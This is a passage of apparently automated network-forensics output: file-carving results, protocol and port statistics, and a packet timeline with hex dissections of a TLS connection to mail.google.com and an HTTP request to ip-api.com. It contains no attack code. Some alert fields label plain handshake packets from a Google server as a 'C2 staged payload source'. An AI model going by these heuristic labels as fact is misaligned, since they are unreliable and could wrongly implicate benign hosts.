20 4a 75 6c 20 31 39 20 31 33 3a 35 34 3a 35 30 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 33 3a 35 34 3a 35 30 20 32 30 32 36 0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,40,15940,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,1,10.152.152.11,208.95.112.1,GET,ip-api.com,http://ip-api.com,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n63950,32,15230,40.00%,47.77%\n443,32,15230,40.00%,47.77%\n63963,8,710,10.00%,2.23%\n80,8,710,10.00%,2.23%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-19 08:08:05.874556,1,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,S,,,Ether > IP > TCP,3,TCP S Seq=2755291706 Ack=0,bc24112907bbbc2411360d0c0800450000348a10400080062c100a98980bd83ac9c5f9ce01bba43a6a3a000000008002faf0257d0000020405b40103030801010402,\".$.)...$.6\n...E..4..@...,.\n....:.......:j:........%}..............\",[TSHARK-OBJECT] %3ffields=hosting,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35344, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11280, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755291706, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 9597, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-19 08:08:05.874576,2,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2455730513 Ack=2755291707,bc2411360d0cbc24112907bb080045000034000040004006f620d83ac9c50a98980b01bbf9ce925f7951a43a6a3b8012faf044ca0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.. .:..\n........_yQ.:j;....D..............\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63008, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455730513, \"\"ack\"\": 2755291707, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 17610, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-19 08:08:05.874751,3,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755291707 Ack=2455730514,bc24112907bbbc2411360d0c0800450000288a11400080062c1b0a98980bd83ac9c5f9ce01bba43a6a3b925f795250102014356b0000,\".$.)...$.6\n...E..(..@...,.\n....:.......:j;._yRP. .5k..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35345, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11291, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755291707, \"\"ack\"\": 2455730514, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:05.879010,4,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2755291707 Ack=2455730514,bc24112907bbbc2411360d0c0800450007258a1240008006251d0a98980bd83ac9c5f9ce01bba43a6a3b925f7952501820144bbb000016030106f8010006f40303fef7ebfcbea08d5df84b78befe4694b127c1b8372aefa30f94acdb5a2a6f0e20208d2199b644a115837387d55469e0082bf0b1a3d48df1ffc2b7537cb403b9bd8500201a1a130313011302cca9cca8c02bc02fc02cc030c013c014009c009d002f00350100068b6a6a000044cd00050003026832002b0007062a2a03040303000d0012001004030804040105030805050108060601001b0003020002003304ef04edbaba00010011ec04c0cbf61469dc705c7a19119a53af3c0039f69f984ba1d809190743455ab4b0b3fc85cee78bea5386f93c832e6c72e6da49b2092790743453b391c08cbc8881428ee48af7786d51563ff3fc6214b59012a2b0e8cb492f40038da9373692597ae67eddda27d548ae29c2113c2716506500e2f159caf86ab2669e82e0b80f8c484e21099394c7df1b44416c7b6f870a739495f427aef8400020cab99c433121c268ad294b70a17de4928a74000f0acb30c3ecca3bb9844e257e20e2bda2877934c1115d13aab39a9c7a5172ee8c60b8746642e79227d24a40338eaf2b31a1e3894bfc71706a5d6df639ef50cd70956f9a85be98214c9d73aee880855ec2a797903df18b0b0ea7891a3762271cb0c88ac616a347a289ae8e8306edd65b46f9aaf5937586eb8ba5aa20d5b068d0c13ff79a74b513c1b11a6a91ea5d1e9501023c920f302a0e744e63dcbc9640744c26b03eaa526a9426d69791dc3738a98b80b6045a565554b96381c5065efb496e9ed27249f9383a011f67a7ce5640420c9696a7a72d5eb822cfd31baeb24e863b3593b0887fa1b6bb35b5312c653ee42a02d456f50079af891ddbf011696038ea6a325c999ef73b161d59742f61719e01b1ff67706da067c211547dc110bf9aa8894513dc29bf1a2b12b36552276c84310198d6b12312bbada6b4cebc196ea16133a7b23e5844a2b4c1b461e653e6114bcbe19e53233a48b4c2f9d69d3306c4aec891bb3235a0c71a02470658926b13032b6fa2b21cc60030c9bcbca111c2e1658c1a9bdbd910b48b3d2b17bd9217a44213580c273bf98237072017d8d3644c5160b94b77c67990915b43596727fff13784a885173629024c45111a117bb3c6211bab6c7445eecb2dbc8406dfa14a31c4ba3bd7c4bd765ea036c70bc52c9ae68f0b7a5ad0d3a93efbb66068c87ba0b4273682ef48377277a9015b4002d127c24c419370476a270fe658567db2b9384a61d81c1acd55c793b94b79e4c313324a70628f3714339eea5cc7350db10a1abc0178dd18c8b9e520d2801c2ea29b1143c64fb081c1278ac1811d20759d16b7294de1871ed4b68054bd62774dcce662253561d183260871aeccd74846d651dd778c7c0324da7b25d55cb197c35bf92235f1db1c43679b6f713afeb24014c90c9c42720c3671d78707d5ea6914f6926c0b32ccc28b7fd800ed9b337be975b7400aafe38c4e8625aa54166df55dc92aabda3c34520157d8800152301424bbc13e487dfef2ccf8833af54763ffcbcebab874aeb11b0c7b0ffe13514ef6862cf7ccd438afaa8674c11771b0fa327ee97e2770447e68c17565ad87d9936474b92fe716d58c97c06013179c15a7062b8f10bddd9474ced405c2f22a5772a8889a529b972ad8e2084e546e6c65aa42620c13d7086b393293967762f7bf440cac0d18938dd95924c2cc7368c80379bf3673293b79c0e3ac463ee96f605485b6541bc89461f789645c8a1f9ca6b26b6c0011c68055749f89eb31a4fc8fe95a84fad026c19b330cd19d2d634bbb5408d24a0664e16ec43cca8e640192dc8037cbbb8089a02ab106bec74ed141409dca8b140a681bf8807121668381ccde0626ecb013b0e4551ec71a2bd33307c31f10f119bf231fb67210761e41a2c1c58650b4ad99d53f90927a5af4114df099f020657a0ad2461920b29078e1226ef21e9af7a3ae35f085af730fa21208001d002025b25a2fc9261fcb1a37695dd3b5fa867d2cbde58b1d0f63b3f21651e0f62a47001200000010000e000c02683208687474702f312e31000b00020100ff010001000023000000170000002d00020101000a000c000ababa11ec001d0017001800000014001200000f6d61696c2e676f6f676c652e636f6d000500050100000000fe0d00fa00000100038e0020f4489d9a5cec0369b39f29382acb3fda3472293228d30dd39c706e9e015eb92e00d04e6e101b02867f3dc72720c6588246cda4a9a1742fe42c1a776ce1730ef14d5176b56ead0cf9b5d35d4fa8a60f6e6e22b6ac131aa72f0c044d4d921a80844302827eb7e7a425884e1e6720e38b98c92adf8447bec0fb337df0ab053ac5c28b4a63a81b26be01be592d9288610f2da8b78960adabc271b23fa35a829ba8313f2570a109cd37994b66fe4e69bc87eb995a8ded0976b19c3c3636df394e8d9b4c39e3607dca15cf2034a2ffef73b240729373e9dcbbb01bc85a767d4297cad06132b6a01d92896cf792aa3977fda8cf8ce1dada000100,\".$.)...$.6\n...E..%..@...%.\n....:.......:j;._yRP. .K.....................].Kx..F..'..7*......Z*o.  .!..D...s..Ti..+.........S|...... .............+./.,.0........./.5....jj..D......h2.+...**.....\n............................3................i.p\\z...S.<.9...K..\t..CEZ.........S..<..lr..I.\t'.t4S.......B....xmQV?..b........I/@...76.Yz.~..'.H.)..<'.Pe...Y..j.f......HN!\t.....DAl{o.\ns...'..@. ...C1!.h.)Kp.}...t..\n.0...;..N%~ ....y4..].....zQr..`.tfB..'.J@3..+1...K.qpj]m.9.P.p.o....!L.s....^....=.......7b'.......G........[F....u..... ..h..?..t.....j..]....<..0*.tNc...@tL&.>.Rj.&....78.....ZVUT.c...^.In..rI.8:..g..V@B.....-^.\"\".....N.;5.......5.1,e>.*..V..y......i`8.j2\\...;..Yt/aq....gpm.g..T}......E..)..+..eR'l.1....#........n.a3..>XD....a.S..K...S#:H.....3......25....G.X.k..+o.....0.......e........=+.....B.X.';..7. ...dLQ`.Kw.y..[CYg'..7....6).LE...{..!..ltE..-.....J1..;...v^.6...,....zZ...>..`h.{..'6..H7rw..[@..'.LA.pGj'..XV}..8Ja....U...Ky...2Jpb.7.3..\\.5\n.\n...x..... .......C.O...'.... u...)M......T.bwM..b%5a..&.q...HF.Q.w.|.$.{%.\\...[.\"\"5...Cg.oq:..@....Br.6q.....i...l.2........3{.u.@\n...N.%.T.m.].*..<4R.W...R0.$..>H}.....:.Gc.....t....{...QN..,...8...t..q..2~.~'pD~h.ue....dt./......`......+.....t.....*Wr...R..*...NTnle.Bb....k92..wb..D..\n....Y$..sh..y.6s);y...F>.o`T..T...a..d\\.....kl....Ut...1....Z...&..3...-cK.T..J.d.n.<..d....7.....*....N.A@....\nh...q!f.....&.....U...+.3.......#..r.v.A....P....?..zZ..M... ez\n.F. ..x.\"\"n......5...s....... %.Z/.&...7i]....},.....c...Q..*G...........h2.http/1.1............#.......-.....\n...\n...................mail.google.com..........\n......... .H..\\..i..)8*.?.4r)2(.\n..pn..^....Nn.....=.' .X.F....t/.,.wl.s..MQv.n.....]O...nn\"\"...../..MM....C..~...%.N.g ....*..G...3}...:...Jc..&...Y-..a.-...`...q.?.Z...1?%p.\t.7.Kf.Ni....Z..\tv..<66.9N..L9.`}... 4...s.@r.s......Zv}B...a2.....l...9w..........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1829, \"\"id\"\": 35346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 9501, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755291707, \"\"ack\"\": 2455730514, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 19387, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 1784, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=1780 version=TLS 1.2 gmt_unix_time=Tue, 21 Jul 2105 23:04:28  (4277660668) random_bytes=bea08d5df84b78befe4694b127c1b8372aefa30f94acdb5a2a6f0e20 sidlen=32 sid=b'\\\\x8d!\\\\x99\\\\xb6D\\\\xa1\\\\x15\\\\x83s\\\\x87\\\\xd5Ti\\\\xe0\\\\x08+\\\\xf0\\\\xb1\\\\xa3\\\\xd4\\\\x8d\\\\xf1\\\\xff\\\\xc2\\\\xb7S|\\\\xb4\\\\x03\\\\xb9\\\\xbd\\\\x85' cipherslen=32 ciphers=[0x1a1a, TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA] complen=1 comp=null extlen=1675 ext=[<TLS_Ext_Unknown  type=27242 len=0 val=b'' |>, <TLS_Ext_Unknown  type=17613 len=5 val=b'\\\\x00\\\\x03\\\\x02h2' |>, <TLS_Ext_SupportedVersion_CH  type=supported_versions len=7 versionslen=6 versions=[10794, TLS 1.3, TLS 1.2] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=18 sig_algs_len=16 sig_algs=[sha256+ecdsa, sha256+rsaepss, sha256+rsa, sha384+ecdsa, sha384+rsaepss, sha384+rsa, sha512+rsaepss, sha512+rsa] |>, <TLS_Ext_Unknown  type=27 len=3 val=b'\\\\x02\\\\x00\\\\x02' |>, <TLS_Ext_KeyShare_CH  type=key_share len=1263 client_shares_len=1261 client_shares=[<KeyShareEntry  group=47802 kxlen=1 key_exchange=00 |>, <KeyShareEntry  group=X25519MLKEM768 kxlen=1216 key_exchange=cbf61469dc705c7a19119a53af3c0039f69f984ba1d809190743455ab4b0b3fc85cee78bea5386f93c832e6c72e6da49b2092790743453b391c08cbc8881428ee48af7786d51563ff3fc6214b59012a2b0e8cb492f40038da9373692597ae67eddda27d548ae29c2113c2716506500e2f159caf86ab2669e82e0b80f8c484e21099394c7df1b44416c7b6f870a739495f427aef8400020cab99c433121c268ad294b70a17de4928a74000f0acb30c3ecca3bb9844e257e20e2bda2877934c1115d13aab39a9c7a5172ee8c60b8746642e79227d24a40338eaf2b31a1e3894bfc71706a5d6df639ef50cd70956f9a85be98214c9d73aee880855ec2a797903df18b0b0ea7891a3762271cb0c88ac616a347a289ae8e8306edd65b46f9aaf5937586eb8ba5aa20d5b068d0c13ff79a74b513c1b11a6a91ea5d1e9501023c920f302a0e744e63dcbc9640744c26b03eaa526a9426d69791dc3738a98b80b6045a565554b96381c5065efb496e9ed27249f9383a011f67a7ce5640420c9696a7a72d5eb822cfd31baeb24e863b3593b0887fa1b6bb35b5312c653ee42a02d456f50079af891ddbf011696038ea6a325c999ef73b161d59742f61719e01b1ff67706da067c211547dc110bf9aa8894513dc29bf1a2b12b36552276c84310198d6b12312bbada6b4cebc196ea16133a7b23e5844a2b4c1b461e653e6114bcbe19e53233a48b4c2f9d69d3306c4aec891bb3235a0c71a02470658926b13032b6fa2b21cc60030c9bcbca111c2e1658c1a9bdbd910b48b3d2b17bd9217a44213580c273bf98237072017d8d3644c5160b94b77c67990915b43596727fff13784a885173629024c45111a117bb3c6211bab6c7445eecb2dbc8406dfa14a31c4ba3bd7c4bd765ea036c70bc52c9ae68f0b7a5ad0d3a93efbb66068c87ba0b4273682ef48377277a9015b4002d127c24c419370476a270fe658567db2b9384a61d81c1acd55c793b94b79e4c313324a70628f3714339eea5cc7350db10a1abc0178dd18c8b9e520d2801c2ea29b1143c64fb081c1278ac1811d20759d16b7294de1871ed4b68054bd62774dcce662253561d183260871aeccd74846d651dd778c7c0324da7b25d55cb197c35bf92235f1db1c43679b6f713afeb24014c90c9c42720c3671d78707d5ea6914f6926c0b32ccc28b7fd800ed9b337be975b7400aafe38c4e8625aa54166df55dc92aabda3c34520157d8800152301424bbc13e487dfef2ccf8833af54763ffcbcebab874aeb11b0c7b0ffe13514ef6862cf7ccd438afaa8674c11771b0fa327ee97e2770447e68c17565ad87d9936474b92fe716d58c97c06013179c15a7062b8f10bddd9474ced405c2f22a5772a8889a529b972ad8e2084e546e6c65aa42620c13d7086b393293967762f7bf440cac0d18938dd95924c2cc7368c80379bf3673293b79c0e3ac463ee96f605485b6541bc89461f789645c8a1f9ca6b26b6c0011c68055749f89eb31a4fc8fe95a84fad026c19b330cd19d2d634bbb5408d24a0664e16ec43cca8e640192dc8037cbbb8089a02ab106bec74ed141409dca8b140a681bf8807121668381ccde0626ecb013b0e4551ec71a2bd33307c31f10f119bf231fb67210761e41a2c1c58650b4ad99d53f90927a5af4114df099f020657a0ad2461920b29078e1226ef21e9af7a3ae35f085af730fa21208 |>, <KeyShareEntry  group=x25519 kxlen=32 key_exchange=25b25a2fc9261fcb1a37695dd3b5fa867d2cbde58b1d0f63b3f21651e0f62a47 |>] |>, <TLS_Ext_Unknown  type=signed_certificate_timestamp len=0 val=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_PSKKeyExchangeModes  type=psk_key_exchange_modes len=2 kxmodeslen=1 kxmodes=[psk_dhe_ke] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=12 groupslen=10 groups=[47802, X25519MLKEM768, x25519, secp256r1, secp384r1] |>, <TLS_Ext_ServerName  type=server_name len=20 servernameslen=18 servernames=[b'mail.google.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_Unknown  type=65037 len=250 val=b'\\\\x00\\\\x00\\\\x01\\\\x00\\\\x03\\\\x8e\\\\x00 \\\\xf4H\\\\x9d\\\\x9a\\\\\\\\\\\\xec\\\\x03i\\\\xb3\\\\x9f)8*\\\\xcb?\\\\xda4r)2(\\\\xd3\\\\r\\\\xd3\\\\x9cpn\\\\x9e\\\\x01^\\\\xb9.\\\\x00\\\\xd0Nn\\\\x10\\\\x1b\\\\x02\\\\x86\\\\x7f=\\\\xc7\\\\' \\\\xc6X\\\\x82F\\\\xcd\\\\xa4\\\\xa9\\\\xa1t/\\\\xe4,\\\\x1awl\\\\xe1s\\\\x0e\\\\xf1MQv\\\\xb5n\\\\xad\\\\x0c\\\\xf9\\\\xb5\\\\xd3]O\\\\xa8\\\\xa6\\\\x0fnn\\\"\"\\\\xb6\\\\xac\\\\x13\\\\x1a\\\\xa7/\\\\x0c\\\\x04MM\\\\x92\\\\x1a\\\\x80\\\\x84C\\\\x02\\\\x82~\\\\xb7\\\\xe7\\\\xa4%\\\\x88N\\\\x1eg \\\\xe3\\\\x8b\\\\x98\\\\xc9*\\\\xdf\\\\x84G\\\\xbe\\\\xc0\\\\xfb3}\\\\xf0\\\\xab\\\\x05:\\\\xc5\\\\xc2\\\\x8bJc\\\\xa8\\\\x1b&\\\\xbe\\\\x01\\\\xbeY-\\\\x92\\\\x88a\\\\x0f-\\\\xa8\\\\xb7\\\\x89`\\\\xad\\\\xab\\\\xc2q\\\\xb2?\\\\xa3Z\\\\x82\\\\x9b\\\\xa81?%p\\\\xa1\\\\t\\\\xcd7\\\\x99Kf\\\\xfeNi\\\\xbc\\\\x87\\\\xeb\\\\x99Z\\\\x8d\\\\xed\\\\tv\\\\xb1\\\\x9c<66\\\\xdf9N\\\\x8d\\\\x9bL9\\\\xe3`}\\\\xca\\\\x15\\\\xcf 4\\\\xa2\\\\xff\\\\xefs\\\\xb2@r\\\\x93s\\\\xe9\\\\xdc\\\\xbb\\\\xb0\\\\x1b\\\\xc8Zv}B\\\\x97\\\\xca\\\\xd0a2\\\\xb6\\\\xa0\\\\x1d\\\\x92\\\\x89l\\\\xf7\\\\x92\\\\xaa9w\\\\xfd\\\\xa8\\\\xcf\\\\x8c\\\\xe1' |>, <TLS_Ext_Unknown  type=56026 len=1 val=b'\\\\x00' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 08:08:05.879012,5,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2455730514 Ack=2755293496,bc2411360d0cbc24112907bb080045000028a7d5400040064e57d83ac9c50a98980b01bbf9ce925f7952a43a71385010003d44be0000,\".$.6\n..$.)....E..(..@.@.NW.:..\n........_yR.:q8P..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42965, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20055, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455730514, \"\"ack\"\": 2755293496, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:09.760653,6,TCP 10.152.152.11:63963 -> 208.95.112.1:80,10.152.152.11,208.95.112.1,63963,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,S,,,Ether > IP > TCP,3,TCP S Seq=3021013280 Ack=0,bc24112907bbbc2411360d0c080045000034f1194000800626a60a98980bd05f7001f9db0050b4110120000000008002faf0e1bd0000020405b40103030801010402,\".$.)...$.6\n...E..4..@...&.\n...._p....P... ........................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 61721, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 9894, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 80, \"\"seq\"\": 3021013280, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 57789, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-19 08:08:09.760714,7,TCP 208.95.112.1:80 -> 10.152.152.11:63963,208.95.112.1,10.152.152.11,80,63963,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4068210074 Ack=3021013281,bc2411360d0cbc24112907bb08004500003400004000400657c0d05f70010a98980b0050f9dbf27bf59ab41101218012faf0e32a0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.W.._p.\n....P...{.....!.....*.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22464, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 63963, \"\"seq\"\": 4068210074, \"\"ack\"\": 3021013281, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 58154, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), 